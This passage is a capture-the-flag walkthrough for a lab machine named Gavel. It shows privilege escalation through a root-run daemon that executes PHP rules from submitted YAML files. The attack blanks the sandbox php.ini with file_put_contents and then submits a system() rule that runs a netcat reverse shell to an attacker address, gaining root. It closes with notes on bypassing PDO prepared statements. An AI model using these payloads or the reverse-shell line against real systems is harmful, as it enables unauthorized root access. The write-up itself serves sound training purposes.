auctioneer@gavel:/tmp$ mysql -u gavel -pgavel -h 127.0.0.1 -P 33060
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 2007 (HY000): Protocol mismatch; server version = 11, client version = 10
While we can probably try to port-forward the service and enumerate it using an updated client on our machine, it is too much work. Let’s move on and come back to this later if everything else did not work.
/usr/local/bin/gavel-util:
The gavel-util feels way more important since it’s named after the box (gavel). A quick ownership check shows that our user is in the group listed in the binary, although it has the same permission with other users (read & execute).
Victim Linux
auctioneer@gavel:/tmp$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util

auctioneer@gavel:/tmp$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
A quick run of the application returned the following menu. While it is worth investigating, let’s also check out other interesting files and come back later.
Victim Linux
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
invoice.txt:
The invoice.txt looks like an output of some application, likely related to the auction application. Maybe it is generated from gavel-util?
Victim Linux
auctioneer@gavel:/$ cat invoice.txt 
==================== GAVEL AUCTION INVOICE ====================

Date: Fri Oct  3 20:04:43 2025


No.  Winner          Item Name
---------------------------------------------------------------
No items won.

================================================================

Enumerating /opt directory

Enumerating files in /opt/gavel

Let’s enumerate the gavel folder in opt:
Victim Linux
auctioneer@gavel:/$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission
  • There are quite a few root-owned files, some readable, some not. Let’s enumerate them one by one.
/opt/gavel/sample.yaml:
Starting with the YAML file, we can see that this is a template for an auction item, with rules that are written in PHP codes. It looks very similar to the ones that we exploited for RCE on the web application.
Victim Linux
auctioneer@gavel:/opt/gavel$ cat sample.yaml 
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
/opt/gavel/gaveld:
This is a root-owned binary. We can try running strings to see what is in the binary.
Victim Linux
auctioneer@gavel:/$ ls -la /opt/gavel/gaveld
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld

auctioneer@gavel:/opt/gavel$ strings gaveld
/lib64/ld-linux-x86-64.so.2
...
...[31mRule too long
/opt/gavel/submission
%08x%08x%08x
/opt/gavel/submission/%s.yaml
stats
gavel
localhost
invoice
/var/log/gavel_prod.log
[33mNo items won.
invoice.txt
/var/run/gaveld.sock
bind
listen
root
chown failed on socket
chmod failed on socket
accept
fork
/opt/gavel/.config/php/php.ini
function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
[32mItem submitted for review in next auction
[31mMySQL connection failed
[31m{"status":"err","msg":"Cannot open log"}
[31mYou are not authorized. Make sure your user belongs to the gavel-seller group.
[31mInvalid header length received.
[31mMemory allocation failed
[31mFailed to read header
[31mFailed to parse header: invalid JSON
[31mOperation not specified
[31mFailed to read submitted content
[31mYAML missing required keys: %s
[31mIllegal rule or sandbox violation.%s
/opt/gavel/submission/.tmpXXXXXX
[31mFailed to save submission
[1;36m=================== GAVEL AUCTION DASHBOARD ===================
[1;33m[Active Auctions]
ID   Item Name                      Current Bid   Ends In
SELECT id,item_name,current_price,TIMESTAMPDIFF(SECOND,NOW(),ends_at) FROM auctions WHERE status='active' ORDER BY ends_at ASC LIMIT 3
[32m%-4d
[0m %-30.30s
[36m%-13d
[0m
[35m%02d:%02d
[1;33m[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
SELECT id,item_name,current_price,IFNULL(highest_bidder,'None') FROM auctions WHERE status='ended' ORDER BY ends_at DESC LIMIT 3
[32m%-4s
[0m %-30.30s
[36m%-13s
[0m
[35m%s
[+] Winner '%127[^']' received '%127[^']'
[1;36m==================== GAVEL AUCTION INVOICE ====================
Date: %s
[1;33mNo.  Winner          Item Name
---------------------------------------------------------------
[32m%-4zu
[0m 
[35m%-15s
[0m %s
[1;36m================================================================
[31mUnknown operation requested
Group %s not found, defaulting to root:root
...
A few key notes:
  • It is likely reading YAML files from /opt/gavel/submission/.
  • There may be a log file in /var/log/gavel_prod.log.
  • It is likely creating the invoice.txt.
  • It is likely binding to the socket on /var/run/gaveld.sock.
  • It is likely using a PHP config file in /opt/gavel/.config/php/php.ini.
  • There is a __sandbox_eval() function written in PHP. Combining this with the php.ini configuration file, the binary is likely running a PHP sandbox for PHP code execution.
We can try to run the binary by making a copy of it. However, an error message is returned. This is a good sign, since that probably means the binary is already running, likely by the root user as we have enumerated.
Victim Linux
auctioneer@gavel:/tmp$ cp /opt/gavel/gaveld /tmp/gaveld
auctioneer@gavel:/tmp$ chmod +x /tmp/gaveld 
auctioneer@gavel:/tmp$ /tmp/gaveld 
bind: Address already in use
/opt/gavel/.config/php/php.ini:
This is the php.ini config file being referenced in the binary. As we can see, this is a heavily sandboxed PHP environment.
Victim Linux
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini 
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
A few key notes:
  • The open_basedir is set as /opt/gavel, meaning that all file reads & writes are restricted to the /opt/gavel directory only.
  • The disable_functions contains almost all command execution and file read & write. However, the file_put_contents function is not disabled. There may be potential file write within the /opt/gavel directory. See more at PHP: file_put_contents - Manual.
  • The allow_url_fopen and allow_url_include are both off, disallowing all file inclusion possibilities.
Let’s move on to the gavel-util we found, since there is not much we can do for now.

Enumerating the gavel-util binary

Inspecting the gavel-util binary

Again, we can run strings to inspect the binary. Since this is not an SUID binary, and we are not running it in sudo, the binary itself should not have any elevated privileges that can be abused. However, a deeper look into the string outputs shows that this binary may just be a client that sends data to the server.
Victim Linux
auctioneer@gavel:/tmp$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util

auctioneer@gavel:/tmp$ strings /usr/local/bin/gavel-util
/lib64/ld-linux-x86-64.so.2
...
[31mERROR: 
send hdrlen failed
send hdr failed
send content failed
submit
stat
not a regular file: %s
file too large
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
filename
flags
content_length
[32m%s
stats
[31mNo response
invoice
[33mUsage: %s <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
[31msubmit requires file argument
[31mNo response from server
[31mNo response for invoice
/var/run/gaveld.
...
A few key notes:
  • From the error messages (send xxx failed and No response from server, etc.), we can induce that this binary is only running as a client, and it is sending data to a locally hosted server (that may be running as root).
  • The server is likely listening on a socket on /var/run/gaveld.sock, which shares the same name as the /opt/gavel/gaveld binary (that is running by root).
By running the netstat or ss command, we can confirm that the socket is listening:
Victim Linux
auctioneer@gavel:/tmp$ netstat -xnlp
...
unix  2    [ ACC ]   STREAM   LISTENING   24779  -   /var/run/gaveld.sock
...
Therefore, the attack plan is clear. By supplying a malicious YAML file to the gavel-util binary, the binary will relay the input to the root-running server, opening possibilities for root-level code execution.

Running the gavel-util binary

Running the binary returns the help menu. We can see that there are three commands that we can run.
Victim Linux
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
Running the invoice command:
Running the invoice command returns an error. It is also not taking any additional arguments. From the strings dumped from the gaveld binary, we can assume that this is likely trying to read the log from /var/log/gavel_prod.log.
Victim Linux
auctioneer@gavel:~$ /usr/local/bin/gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:~$ /usr/local/bin/gavel-util invoice /opt/gavel/sample.yaml 
{"status":"err","msg":"Cannot open log"}
However, there is no such file in the /var/log folder:
Victim Linux
auctioneer@gavel:/tmp$ cat /var/log/gavel_prod.log
cat: /var/log/gavel_prod.log: No such file or directory
Running the stat command:
The stat command does not take any inputs and only lists the auction dashboard. Nothing of interest so far.
Victim Linux
auctioneer@gavel:~$ /usr/local/bin/gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID   Item Name                      Current Bid   Ends In
1108 Ethereal Tax Token             649           01:59
1109 Goblin-Signed NDA              1240          02:06
1110 Potion of Eternal Wakefulness  832           02:15

[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
1107 Unicorn Parking Permit         1636          None
1106 Certificate of Authenticity    1329          None
1105 Time-Traveling Spoon           867           None
Running the submit command:
The submit command has the highest attacking value, since it is taking a user-supplied YAML file, and potentially parsing it in a root context. Running the command alone returned an error asking for a file.
Victim Linux
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit 
submit requires file argument
We can try to run the submit command directly with the sample.yaml file we previously found in the /opt/gavel directory. However, the following error is returned:
Victim Linux
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit /opt/gavel/sample.yaml 
YAML missing required keys: name description image price rule_msg rule
It means that the binary cannot find the keys from the YAML file. Re-checking the file shows that the top level key here is item, instead of the 6 required keys.
Victim Linux
auctioneer@gavel:/$ cat /opt/gavel/sample.yaml 
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Since the original sample.yaml file is root-owned and non-writeable, we will simply create a copy in our home directory.
Victim Linux
auctioneer@gavel:~$ cp /opt/gavel/sample.yaml ./sample.yaml
We can then run text editors like nano to modify the file.
Victim Linux
auctioneer@gavel:/$ nano /tmp/sample.yaml
  • In the case where text editors are not available, we can always use commands like cat to input everything within the command line, or we can edit the file offline in our attacker server, then upload the edited file to the victim machine.
Inside nano, we will remove the item key, and all trailing spaces in front of the 6 keys.
/tmp/sample.yaml
---
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Now we can try resubmitting using the fixed YAML file. We can see that the server happily takes the file.
Victim Linux
auctioneer@gavel:/$ /usr/local/bin/gavel-util submit /tmp/sample.yaml 
Item submitted for review in next auction

Exploiting Command Injection for Privilege Escalation

Inspecting the gaveld binary (again)

Since we now know that the /opt/gavel/gaveld binary is running as root and is a server that takes requests from users, we can revisit the strings output to look for potentially vulnerable behaviours. As mentioned, the __sandbox_eval() function is written in PHP and will execute PHP codes. From our initial foothold path, we know that the application is directly executing the PHP codes from rule in the custom ruleCheck function created by runkit. Here, the __sandbox_eval() function looks almost identical.
PHP snippet from gaveld
function __sandbox_eval() {
    $previous_bid = %ld;
    $current_bid = %ld;
    $bidder = '%s';
    %s
};
$res = __sandbox_eval();
if (!is_bool($res)) {
    echo 'SANDBOX_RETURN_ERROR';
} else if ($res) {
    echo 'ILLEGAL_RULE';
}
A few key notes from reviewing the function:
  • The last (4th) argument of the __sandbox_eval() function is very likely taking the PHP code from the rule value from the supplied YAML file.
  • The response of the function is stored in $res.
  • The value of $res is then passed through two checks.
  • The first check looks for a Boolean response from the output of the function. The error SANDBOX_RETURN_ERROR is returned if the output is not a Boolean value.
  • The second check validates if the value of $res is True. If it is returning True, the server should respond with ILLEGAL_RULE.
  • However, if we look closer at the codes, we can see that the if conditionals only return echo, with no additional actions that may stop the codes from running.
  • Moreover, the __sandbox_eval() is run BEFORE the if conditionals, which means that there is actually no validations or checks.

Inspecting the php.ini file (again)

The __sandbox_eval() function name has hinted that the function is running in a heavily restricted environment. As we previously enumerated, the php.ini is likely the main configuration file that sets the restrictions.
Victim Linux
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini 
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
We previously noted that:
  • While most functions are disabled, the file_put_contents function is still available, which allows root-privilege file write.
  • File writes are restricted to the /opt/gavel directory only.
Combining the above two observations, we can exploit this restricted file-write vulnerability by using it to wipe the php.ini file clean, essentially removing all restrictions. Some extra readings during research:

Overwriting the php.ini file

We can construct the malicious YAML file using nano.
Victim Linux
auctioneer@gavel:/tmp$ nano put_file_contents.yaml
Since file_put_contents overwrites the file with the provided input by default, we can simply supply an empty string ('') to overwrite the php.ini file, removing all restrictions.
put_file_contents.yaml
---
name: "File_Put_Contents"
description: "Using file_put_contents() to overwrite the php.ini config file"
image: "random.png"
price: 10000
rule_msg: "Using file_put_contents() to overwrite the php.ini config file"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini','');"
We then submit the malicious YAML file to the gaveld server. While the SANDBOX_RETURN_ERROR error is returned, we know from previous code reviews that the PHP codes were being executed regardless.
Victim Linux
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit put_file_contents.yaml 
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
We can confirm this by checking the file content of php.ini. As we can see, there is no output when we attempt to cat the file. Using ls also shows that the file size is 0, confirming that our PHP code execution was successful.
Victim Linux
auctioneer@gavel:/tmp$ cat /opt/gavel/.config/php/php.ini 

auctioneer@gavel:/tmp$ ls -la /opt/gavel/.config/php/php.ini 
-rw-r--r-- 1 root root 0 Dec  1 06:01 /opt/gavel/.config/php/php.ini

Obtaining a Root Shell

Now that all the restrictions are gone, we can send over a malicious YAML file that contains a reverse shell payload.
Victim Linux
auctioneer@gavel:/tmp$ nano rce.yaml
We will use the same payload we used for initial foothold.
rce.yaml
---
name: "RCE"
description: "Using system() to start a reverse shell"
image: "random.png"
price: 10000
rule_msg: "Using system() to start a reverse shell"
rule: "system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 443 >/tmp/f');return true;"
Lastly, we submit the malicious YAML file to the gaveld server.
Victim Linux
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit rce.yaml
On our Penelope reverse shell listener, we successfully received a shell from the machine.
Attacker Linux
[+] Got reverse shell from gavel~10.129.183.7-Linux-x86_64 😍 Assigned SessionID <6>

[!] Session detached ⇲

(Penelope)-(Session [1])> interact 6
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [6], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/sessions/gavel~10.129.183.7-Linux-x86_64/2025_11_30-22_05_42-319.log 📜
──────────────────────────────────────────────────────────────────────────────────
root@gavel:/# whoami
root
Grabbing the root flag.
Victim Linux
root@gavel:/# cat /root/root.txt
58e35507b86d342877f261f1290398d2

Key Learnings


1. Bypassing Prepared Statements in Query Emulation

For PHP applications, if SQL query emulation is on, it is possible to bypass prepared statements by manipulating the PDO parser logic. Unless if the PDO::ATTR_EMULATE_PREPARES is explicitly set as false, PDO emulates all prepared statements in MySQL by default.
  • PDO will run its own SQL parser to escape strings and build the prepared statement, and it then sends the parsed full SQL statement to the database.
  • Therefore, it is possible to abuse the parsing logic of PDO to sneak in SQL queries into the prepared statement.
  • See more from: Novel SQL Injection Technique in PDO Prepared Statements.

2. Working with the php.ini file

A few facts about the php.ini file:

Tags


Initial Access

#Web_Exploit #Git #Source_Code_Review #SQLi #PHP #Prepared_Statements #Command_Injection #Password_Spraying

Privilege Escalation

#Sensitive_Files #File_Write #PHP #Command_Injection
Last modified on May 24, 2026